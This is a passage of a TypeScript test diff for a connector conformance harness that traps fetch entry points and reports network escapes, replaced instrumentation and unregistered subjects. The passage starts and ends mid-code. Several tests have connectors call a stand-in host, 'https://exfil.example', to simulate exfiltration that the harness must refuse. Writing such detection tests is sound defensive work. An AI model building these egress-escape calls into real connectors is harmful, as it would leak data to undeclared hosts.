+            } catch (error) {
+              lateRefusal = error;
+            }
+          })();
+          return {};
+        }
+        // Releasing the gate queues case 1's abandoned continuation as a
+        // microtask; the zero-delay timer holds case 2 open across it, so
+        // the retained transport is called after case 1 settles and while
+        // the run is still open.
+        release();
+        await new Promise<void>((resolve) => {
+          setTimeout(resolve, 0);
+        });
+        return {};
+      })(runtime);
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [
+          {
+            name: 'capture',
+            input: { phase: 'capture' },
+            expect: { outcome: 'no-network' },
+          },
+          {
+            name: 'settle',
+            input: { phase: 'settle' },
+            expect: { outcome: 'no-network' },
+          },
+        ],
+      }),
+    );
+    await late;
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        observedAfterCase: 'capture',
+        reason:
+          "connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after case 'capture' settled",
+      },
+    ]);
+    expect(report.findings[0]).not.toHaveProperty('case');
+    expect(report.cases[0]?.escapes).toEqual([]);
+    expect(report.cases[0]?.findings).toEqual([]);
+    expect(report.cases[1]?.findings).toEqual([]);
+    expect(lateRefusal).toBeInstanceOf(Error);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('drops a probe escape observed after early refusal', async () => {
+    // #given
+    let base!: (url: string) => Promise<unknown>;
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          base = runtime.policies.fetch as (url: string) => Promise<unknown>;
+          throw new Error('probe factory failed');
+        },
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    const findingsSnapshot = structuredClone(report.findings);
+    // #when
+    expect(() => base('https://exfil.example/after')).toThrow(
+      'connector called the supplied base transport directly',
+    );
+    // #then
+    expect(report.findings).toEqual(findingsSnapshot);
+  });
+
+  it('names the probe phase for an escape on a transport retained from probe construction', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let probeBase: ((url: string) => Promise<unknown>) | undefined;
+    let refusal: unknown;
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      probeBase ??= runtime.policies.fetch as (url: string) => Promise<unknown>;
+      return quietFactory(async () => {
+        try {
+          await probeBase?.('https://exfil.example/probe');
+        } catch (error) {
+          refusal = error;
+        }
+        return {};
+      })(runtime);
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [quietCase],
+      }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      {
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        reason:
+          'connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after the probe factory returned',
+      },
+    ]);
+    expect(report.findings[0]).not.toHaveProperty('case');
+    expect(report.findings[0]).not.toHaveProperty('observedAfterCase');
+    expect(report.cases[0]?.escapes).toEqual([]);
+    expect(refusal).toBeInstanceOf(Error);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records an instrumentation setter called after its case settled as a run-level finding', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let capturedSetter: PropertyDescriptor['set'];
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (runtime) =>
+      quietFactory(async (input) => {
+        if ((input as { phase?: string }).phase === 'capture') {
+          capturedSetter = Object.getOwnPropertyDescriptor(
+            globalThis,
+            'fetch',
+          )?.set;
+          return {};
+        }
+        capturedSetter?.call(globalThis, async () => new Response());
+        return {};
+      })(runtime);
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [
+          {
+            name: 'capture',
+            input: { phase: 'capture' },
+            expect: { outcome: 'no-network' },
+          },
+          {
+            name: 'call',
+            input: { phase: 'call' },
+            expect: { outcome: 'no-network' },
+          },
+        ],
+      }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        observedAfterCase: 'capture',
+        reason:
+          "the case assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept; observed after case 'capture' settled",
+      },
+    ]);
+    expect(report.findings[0]).not.toHaveProperty('case');
+    expect(report.cases[0]?.findings).toEqual([]);
+    expect(report.cases[1]?.findings).toEqual([]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('refuses a base-transport call retained past the built report and leaves the report unchanged', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let base!: (url: string) => Promise<unknown>;
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      base = runtime.policies.fetch as (url: string) => Promise<unknown>;
+      return quietFactory()(runtime);
+    };
+    const report = await assertConnectorConformance(subject, {
+      manifest: noEgress,
+      cases: [quietCase],
+    });
+    const findingCountBefore = report.findings.length;
+    const casesBefore = structuredClone(report.cases);
+    // #when
+    expect(() => base('https://exfil.example/after')).toThrow(
+      'connector called the supplied base transport directly',
+    );
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(report.findings).toHaveLength(findingCountBefore);
+    expect(report.cases).toEqual(casesBefore);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught global fetch refusal', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          await globalThis.fetch('https://exfil.example');
+          return {};
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'quiet',
+        reason: expect.stringContaining('globalThis.fetch'),
+      }),
+    ]);
+    expect(JSON.stringify(report)).not.toContain('ConformanceRefusal');
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records a refused escape with a null host when the URL global stops being a constructor', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const savedUrl = Object.getOwnPropertyDescriptor(globalThis, 'URL');
+    let refusal: unknown;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          Object.defineProperty(globalThis, 'URL', {
+            value: undefined,
+            writable: true,
+            configurable: true,
+          });
+          try {
+            await globalThis.fetch('https://exfil.example');
+          } catch (error) {
+            refusal = error;
+          } finally {
+            if (savedUrl !== undefined) {
+              Object.defineProperty(globalThis, 'URL', savedUrl);
+            }
+          }
+          return {};
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(refusal).toBeInstanceOf(Error);
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'globalThis.fetch', host: null, refused: true },
+    ]);
+    expect(report.findings).toEqual([
+      {
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'quiet',
+        reason:
+          'connector reached globalThis.fetch outside runtime.fetch (host: unparseable)',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'URL')).toEqual(
+      savedUrl,
+    );
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught supplied-base refusal', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) =>
+          quietFactory(async () => {
+            await (runtime.policies.fetch as (url: string) => Promise<unknown>)(
+              'https://exfil.example',
+            );
+            return {};
+          })(runtime),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'quiet',
+        reason: expect.stringContaining('policies.fetch'),
+      }),
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records INSTRUMENTATION_REPLACED for each assigned entry point without duplicating repeated assignments', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const holder = { fetch: async () => new Response() };
+    const original = Object.getOwnPropertyDescriptor(holder, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          const replacement = async () => new Response();
+          globalThis.fetch = replacement;
+          holder.fetch = replacement;
+          globalThis.fetch = replacement;
+          holder.fetch = replacement;
+          return {};
+        }),
+        entryOptions(holder),
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual(
+      ['globalThis.fetch', 'holder.fetch'].map((label) => ({
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'quiet',
+        reason: `the case assigned ${label} during execution; the assignment was not applied and the trap was kept`,
+      })),
+    );
+    expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(original);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it.each([
+    'settles',
+    'throws',
+  ] as const)('restores instrumentation when a case name getter starts throwing after validation and the invocation %s', async (arm) => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let unreadable = false;
+    const name = vi.fn(() => {
+      if (unreadable) throw new Error('case name unreadable');
+      return 'validated name';
+    });
+    const c = {
+      ...quietCase,
+      get name() {
+        return name();
+      },
+    };
+    const subject = quietFactory(async () => {
+      unreadable = true;
+      Object.defineProperty(globalThis, 'fetch', {
+        value: globalThis.fetch,
+        writable: true,
+        configurable: true,
+      });
+      if (arm === 'throws') throw new Error('invocation failed');
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [c],
+      }),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]?.name).toBe('validated name');
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'validated name',
+        reason:
+          'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)',
+      },
+    ]);
+    expect(name).toHaveBeenCalledTimes(1);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('uses the validated entry-point label when its getter starts throwing after validation', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const holder = { fetch: vi.fn() };
+    const savedHolder = Object.getOwnPropertyDescriptor(holder, 'fetch');
+    const label = vi
+      .fn()
+      .mockReturnValueOnce('holder.fetch')
+      .mockImplementation(() => {
+        throw new Error('entry label unreadable');
+      });
+    // #when
+    const report = await assertConnectorConformance(quietFactory(), {
+      manifest: noEgress,
+      cases: [quietCase],
+      entryPoints: [
+        {
+          get label() {
+            return label();
+          },
+          target: holder,
+          property: 'fetch',
+        },
+      ],
+    });
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(report.instrumented).toEqual(['globalThis.fetch', 'holder.fetch']);
+    expect(label).toHaveBeenCalledTimes(1);
+    expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(
+      savedHolder,
+    );
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('applies the validated timeout when its getter starts throwing after validation', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const timeoutMs = vi
+      .fn()
+      .mockReturnValueOnce(75)
+      .mockImplementation(() => {
+        throw new Error('case timeout unreadable');
+      });
+    const timer = vi.spyOn(globalThis, 'setTimeout');
+    try {
+      // #when
+      const report = await assertConnectorConformance(quietFactory(), {
+        manifest: noEgress,
+        cases: [
+          {
+            ...quietCase,
+            get timeoutMs() {
+              return timeoutMs();
+            },
+          },
+        ],
+      });
+      // #then
+      expect(report.conformant).toBe(true);
+      expect(timer).toHaveBeenCalledWith(expect.any(Function), 75);
+      expect(timeoutMs).toHaveBeenCalledTimes(1);
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(
+        saved,
+      );
+    } finally {
+      timer.mockRestore();
+    }
+  });
+
+  it('reports CASE_INVOCATION_FAILED when a registered connector id getter throws before invocation', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const execute = vi.fn(async () => ({}));
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      const connector = quietFactory(execute)(runtime);
+      Object.defineProperty(connector, 'id', {
+        get() {
+          throw new Error('id unreadable');
+        },
+      });
+      return connector;
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [quietCase],
+      }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: 'case invocation failed with Error',
+      },
+    ]);
+    expect(report.cases[0]?.findings).toEqual(report.findings);
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]?.proved).toBe('nothing');
+    expect(execute).not.toHaveBeenCalled();
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('hands the connector the case input and invocation options by reference', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const input = { marker: 'input' };
+    const controller = new AbortController();
+    let invocationReads = 0;
+    let readsWhenBuilt = -1;
+    const invocation: ConnectorInvocationOptions = {
+      get abortSignal(): AbortSignal {
+        invocationReads += 1;
+        return controller.signal;
+      },
+    };
+    let seenInput: unknown;
+    let seenSignal: unknown;
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      readsWhenBuilt = invocationReads;
+      return quietFactory(async (received, context) => {
+        seenInput = received;
+        seenSignal = context.abortSignal;
+        return {};
+      })(runtime);
+    };
+    // #when
+    const report = await assertConnectorConformance(subject, {
+      manifest: noEgress,
+      cases: [
+        {
+          name: 'identity',
+          input,
+          invocation,
+          expect: { outcome: 'no-network' },
+        },
+      ],
+    });
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(seenInput).toBe(input);
+    expect(seenSignal).toBe(controller.signal);
+    expect(readsWhenBuilt).toBe(0);
+    expect(invocationReads).toBeGreaterThan(0);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it.each([
+    'case',
+    'entry point',
+  ] as const)('rejects an unreadable %s during normalization before constructing or instrumenting a subject', async (arm) => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const subject = vi.fn(quietFactory());
+    const options: ConnectorConformanceOptions =
+      arm === 'case'
+        ? {
+            manifest: noEgress,
+            cases: [
+              {
+                ...quietCase,
+                get name(): string {
+                  throw new Error('unreadable');
+                },
+              },
+            ],
+          }
+        : {
+            manifest: noEgress,
+            cases: [quietCase],
+            entryPoints: [
+              {
+                get label(): string {
+                  throw new Error('unreadable');
+                },
+                target: {},
+                property: 'fetch',
+              },
+            ],
+          };
+    // #when
+    const run = assertConnectorConformance(subject, options);
+    // #then
+    await expect(run).rejects.toThrow(TypeError);
+    await expect(run).rejects.not.toHaveProperty('report');
+    expect(subject).not.toHaveBeenCalled();
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+    const next = await assertConnectorConformance(quietFactory(), {
+      manifest: noEgress,
+      cases: [quietCase],
+    });
+    expect(next.conformant).toBe(true);
+  });
+
+  it('keeps the published limit text identical to the harness constant', () => {
+    // #given
+    const documents = [
+      '../../CONNECTORS.md',
+      '../../../../docs/connector-interface.md',
+    ];
+    // Changesets are consumed at versioning.
+    const changeset = new URL(
+      '../../../../.changeset/connector-conformance-harness.md',
+      import.meta.url,
+    );
+    // #when
+    const published = documents.map((relative) => ({
+      relative,
+      text: readFileSync(new URL(relative, import.meta.url), 'utf8'),
+    }));
+    const changesetText = existsSync(changeset)
+      ? readFileSync(changeset, 'utf8')
+      : undefined;
+    // #then
+    for (const { relative, text } of published) {
+      expect(text, relative).toContain(CONFORMANCE_LIMIT);
+    }
+    if (changesetText !== undefined) {
+      expect(changesetText).toContain(CONFORMANCE_LIMIT);
+    }
+  });
+
+  it('points the published limit at a section and a shipped file that exist', () => {
+    // #given
+    const guideUrl = new URL('../../CONNECTORS.md', import.meta.url);
+    const packageUrl = new URL('../../package.json', import.meta.url);
+    // #when
+    const guide = readFileSync(guideUrl, 'utf8');
+    const manifest: { files?: string[] } = JSON.parse(
+      readFileSync(packageUrl, 'utf8'),
+    );
+    // #then
+    expect(CONFORMANCE_LIMIT).toContain(
+      'under Conformance limits in the CONNECTORS.md that ships with this package',
+    );
+    expect(guide).toContain('\n### Conformance limits\n');
+    expect(manifest.files).toContain('CONNECTORS.md');
+  });
+
+  it('restores the installed entry points when a later install fails', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const holder = { fetch: async () => new Response() };
+    const original = holder.fetch;
+    const frozen = Object.freeze({});
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), {
+        ...entryOptions(holder),
+        entryPoints: [
+          { label: 'holder.fetch', target: holder, property: 'fetch' },
+          { label: 'frozen.fetch', target: frozen, property: 'fetch' },
+        ],
+      }),
+    );
+    // #then
+    expect(holder.fetch).toBe(original);
+    expect(globalThis.fetch).toBe(saved);
+    expect(report.instrumented).toEqual([]);
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+  });
+
+  it('reports an entry point replaced before a later install failure rolls it back', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const original = async () => new Response();
+    const replacement = async () => new Response();
+    const holder: { fetch: () => Promise<Response> } = { fetch: original };
+    const hostile = new Proxy(
+      {},
+      {
+        getOwnPropertyDescriptor(): never {
+          Object.defineProperty(holder, 'fetch', {
+            value: replacement,
+            writable: true,
+            enumerable: true,
+            configurable: true,
+          });
+          throw new Error('descriptor read refused');
+        },
+      },
+    );
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), {
+        ...entryOptions(holder),
+        entryPoints: [
+          { label: 'holder.fetch', target: holder, property: 'fetch' },
+          { label: 'hostile.fetch', target: hostile, property: 'fetch' },
+        ],
+      }),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({
+        code: 'INSTRUMENTATION_REPLACED',
+        reason: expect.stringContaining('holder.fetch'),
+      }),
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(holder.fetch).toBe(original);
+    expect(globalThis.fetch).toBe(saved);
+  });
+
+  it('deletes globalThis.fetch again when the runtime had none', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    try {
+      Reflect.deleteProperty(globalThis, 'fetch');
+      // #when
+      await assertConnectorConformance(factory(), {
+        manifest,
+        cases: [requestCase],
+      });
+      // #then
+      expect(Object.hasOwn(globalThis, 'fetch')).toBe(false);
+    } finally {
+      globalThis.fetch = saved;
+    }
+  });
+
+  it('fails the run when an entry point cannot be restored', async () => {
+    // #given
+    const holder = { fetch: async () => new Response() };
+    const other = { fetch: async () => new Response() };
+    const original = other.fetch;
+    const saved = globalThis.fetch;
+    const execute = vi.fn(async () => {
+      Object.defineProperty(holder, 'fetch', {
+        value: holder.fetch,
+        configurable: false,
+        writable: false,
+      });
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(execute), {
+        manifest: noEgress,
+        cases: [quietCase, { ...quietCase, name: 'skipped' }],
+        entryPoints: [
+          { label: 'other.fetch', target: other, property: 'fetch' },
+          { label: 'holder.fetch', target: holder, property: 'fetch' },
+        ],
+      }),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toContainEqual(
+      expect.objectContaining({ code: 'INSTRUMENTATION_NOT_RESTORED' }),
+    );
+    expect(globalThis.fetch).toBe(saved);
+    expect(other.fetch).toBe(original);
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(report.cases).toHaveLength(1);
+    expect(report.findings).toContainEqual({
+      code: 'INSTRUMENTATION_NOT_RESTORED',
+      reason:
+        "skipped cases skipped after INSTRUMENTATION_NOT_RESTORED in 'quiet'",
+    });
+  });
+
+  it('refuses a conformance run started while another is active', async () => {
+    // #given
+    let nested: ConnectorConformanceReport | undefined;
+    let again: ConnectorConformanceReport | undefined;
+    let retainedTrap = false;
+    // #when
+    const report = await assertConnectorConformance(
+      quietFactory(async () => {
+        const during = globalThis.fetch;
+        nested = await rejected(
+          assertConnectorConformance(quietFactory(), {
+            manifest: noEgress,
+            cases: [quietCase],
+          }),
+        );
+        retainedTrap = globalThis.fetch === during;
+        again = await rejected(
+          assertConnectorConformance(quietFactory(), {
+            manifest: noEgress,
+            cases: [quietCase],
+          }),
+        );
+        return {};
+      }),
+      { manifest: noEgress, cases: [quietCase] },
+    );
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(retainedTrap).toBe(true);
+    expect(again?.findings[0]?.code).toBe('RUN_OVERLAPPING');
+    expect(nested?.findings).toEqual([
+      expect.objectContaining({ code: 'RUN_OVERLAPPING' }),
+    ]);
+    expect(nested?.cases).toEqual([]);
+  });
+
+  it('refuses an entry point defined by a getter', async () => {
+    // #given
+    const holder = {
+      get fetch() {
+        return async () => new Response();
+      },
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({
+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        case: 'quiet',
+        reason: expect.stringContaining('accessor'),
+      }),
+    ]);
+    expect(report.cases[0]?.proved).toBe('nothing');
+  });
+
+  it('refuses an entry point that is neither configurable nor writable', async () => {
+    // #given
+    const holder = { fetch: async () => new Response() };
+    Object.defineProperty(holder, 'fetch', {
+      value: holder.fetch,
+      configurable: false,
+      writable: false,
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+  });
+
+  it('traps a supplied transport entry point alongside global fetch', async () => {
+    // #given
+    const original = vi.fn(async () => new Response());
+    const holder = { fetch: original };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          await holder.fetch();
+          return {};
+        }),
+        entryOptions(holder),
+      ),
+    );
+    // #then
+    expect(report.instrumented).toEqual(['globalThis.fetch', 'holder.fetch']);
+    expect(report.cases[0]?.escapes[0]?.entryPoint).toBe('holder.fetch');
+    expect(original).not.toHaveBeenCalled();
+    expect(holder.fetch).toBe(original);
+  });
+
+  it('reports an empty case set as no evidence rather than a pass', async () => {
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(factory(), { manifest, cases: [] }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      expect.objectContaining({ code: 'NO_CASES' }),
+    ]);
+    expect(report.cases).toEqual([]);
+  });
+
+  it('does not count an early policy denial or an evaluator-authored egress denial as proof that a transport path executed', async () => {
+    // #given
+    for (const code of ['EVALUATOR_DENIED', 'EGRESS_DENIED'] as const) {
+      const subject = factory(undefined, manifest, (rt) => ({
+        ...rt.policies,
+        evaluators: [
+          {
+            name: 'fixture',
+            evaluate: () => ({ allowed: false, reason: 'denied', code }),
+          },
+        ],
+      }));
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(subject, {
+          manifest,
+          cases: [
+            {
+              ...quietCase,
+              expect: {
+                outcome:
+                  code === 'EGRESS_DENIED' ? 'guarded-denial' : 'policy-denied',
+                code,
+              },
+            },
+          ],
+        }),
+      );
+      // #then
+      expect(report.cases[0]?.transportCalls).toBe(0);
+      expect(report.findings).toContainEqual(
+        expect.objectContaining({ code: 'NO_TRANSPORT_EVIDENCE' }),
+      );
+    }
+  });
+
+  it('classifies an organization-allowlist refusal as policy-denied rather than guarded-denial', async () => {
+    // #given
+    const subject = factory(undefined, manifest, (rt) => ({
+      ...rt.policies,
+      networkEgress: { allowedDomains: [] },
+    }));
+    // #when
+    for (const outcome of ['guarded-denial', 'policy-denied'] as const) {
+      const report = await rejected(
+        assertConnectorConformance(subject, {
+          manifest,
+          cases: [
+            {
+              ...quietCase,
+              expect: { outcome, code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' },
+            },
+          ],
+        }),
+      );
+      // #then
+      expect(report.cases[0]?.proved).toBe('policy-denied');
+      expect(report.cases[0]?.decisionCodes).toContain(
+        'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      );
+      expect(
+        report.cases[0]?.findings.some(
+          (f) => f.code === 'CASE_EXPECTATION_UNMET',
+        ),
+      ).toBe(outcome === 'guarded-denial');
+    }
+  });
+
+  it('fails a run whose cases never reach the harness transport for a connector declaring egress, including a run of guarded denials', async () => {
+    // #given
+    const subject = factory(async (_input, _context, rt) => {
+      await rt.fetch('https://exfil.example');
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, {
+        manifest,
+        cases: [
+          {
+            ...quietCase,
+            expect: {
+              outcome: 'guarded-denial',
+              code: 'EGRESS_HOST_NOT_DECLARED',
+            },
+          },
+        ],
+      }),
+    );
+    // #then
+    expect(report.cases[0]?.proved).toBe('guarded-denial');
+    expect(report.cases[0]?.transportCalls).toBe(0);
+    expect(report.findings).toEqual([
+      expect.objectContaining({ code: 'NO_TRANSPORT_EVIDENCE' }),
+    ]);
+  });
+
+  it('admits a connector declaring no egress without demanding transport evidence', async () => {
+    // #when
+    const report = await assertConnectorConformance(quietFactory(), {
+      manifest: noEgress,
+      cases: [quietCase],
+    });
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(report.cases[0]?.transportCalls).toBe(0);
+    expect(report.cases[0]?.proved).toBe('no-network');
+  });
+
+  it('refuses to certify a connector whose posture is declaration-only', async () => {
+    // #given
+    const declaration: PermissionManifest = { sideEffect: 'read' };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(factory(undefined, declaration), {
+        manifest: declaration,
+        cases: [],
+      }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      expect.objectContaining({ code: 'POSTURE_NOT_ENFORCED' }),
+    ]);
+    expect(report.posture).toBe('declaration-only');
+    expect(report.limit).not.toBe('');
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    const unregistered = await rejected(
+      assertConnectorConformance(() => ({}) as Connector<unknown, unknown>, {
+        manifest,
+        cases: [],
+      }),
+    );
+    expect(unregistered.findings).toEqual([
+      expect.objectContaining({
+        code: 'SUBJECT_UNREGISTERED',
+        reason: expect.stringContaining('second copy'),
+      }),
+    ]);
+    expect(unregistered).not.toHaveProperty('posture');
+    expect(unregistered.cases).toEqual([]);
+    expect(unregistered.instrumented).toEqual([]);
+    expect(unregistered.limit).toBe(report.limit);
+  });
+
+  it('refuses the run when the probe factory returns undefined', async () => {
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        () => undefined as unknown as Connector<unknown, unknown>,
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'SUBJECT_UNREGISTERED',
+        reason:
+          'the factory returned undefined that this copy of createConnector() did not build',
+      },
+    ]);
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    expect(report).not.toHaveProperty('posture');
+  });
+
+  it('refuses unregistered factory result shapes at probe and case construction', async () => {
+    for (const value of [
+      null,
+      false,
+      0,
+      '',
+      1n,
+      Symbol('subject'),
+      () => {},
+      {},
+    ]) {
+      for (const registeredProbe of [false, true]) {
+        // #given
+        let constructions = 0;
+        const execute = vi.fn(async () => ({}));
+        // #when
+        const report = await rejected(
+          assertConnectorConformance(
+            (runtime) => {
+              if (++constructions === 1 && registeredProbe)
+                return factory(execute)(runtime);
+              return value as Connector<unknown, unknown>;
+            },
+            { manifest, cases: [requestCase] },
+          ),
+        );
+        // #then
+        expect(execute).not.toHaveBeenCalled();
+        expect(report.conformant).toBe(false);
+        expect(report.findings).toEqual([
+          expect.objectContaining({ code: 'SUBJECT_UNREGISTERED' }),
+        ]);
+        if (registeredProbe) {
+          expect(report.cases[0]?.proved).toBe('nothing');
+          expect(report.cases[0]?.findings).toEqual(report.findings);
+        } else {
+          expect(report.cases).toEqual([]);
+          expect(report).not.toHaveProperty('posture');
+        }
+      }
+    }
+  });
+
+  it('fails when the registered manifest differs from the claimed manifest, and always reports the finite-case limit', async () => {
+    // #when
+    const mismatch = await rejected(
+      assertConnectorConformance(factory(), {
+        manifest: { ...manifest, dryRun: true },
+        cases: [requestCase],
+      }),
+    );
+    // #then
+    expect(mismatch.findings).toContainEqual(
+      expect.objectContaining({ code: 'MANIFEST_MISMATCH' }),
+    );
+    expect(mismatch.limit).toBe(CONFORMANCE_LIMIT);
+    const matched = await assertConnectorConformance(
+      factory(async () => ({}), {
+        ...noEgress,
